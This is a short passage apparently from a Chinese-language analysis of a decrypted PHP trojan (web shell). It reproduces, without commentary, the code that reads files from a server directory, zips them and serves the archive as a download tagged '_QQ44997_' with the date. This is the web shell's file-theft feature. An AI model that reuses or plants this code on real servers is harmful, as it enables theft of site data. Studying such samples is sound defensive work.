php 木马的分析(加密破解)

                unset($zipfilearray);
                addziparray($dl[$k]);
                for($i=0;$zipfilearray[$i];$i++)
                {
                    $filename=$zipfilearray[$i];
                    $filesize=@filesize($dir."/".$zipfilearray[$i]);
                    $fp=@fopen($dir."/".$filename,rb);
                    $zipfiles[]=Array($filename,@fread($fp,$filesize));
                    @fclose($fp);
                }
            }
            else
            {
                $filename=$dl[$k];
                $filesize=@filesize($zipfile);
                $fp=@fopen($zipfile,rb);
                $zipfiles[]=Array($filename,@fread($fp,$filesize));
                @fclose($fp);
            }
        }
        $zip->Add($zipfiles,1);
        $code = $zip->get_file();
        $ck = "_QQ44997_".date("Y-m-d",time())."";
        if(empty($localfile)){
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: ".strlen($code));
        header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");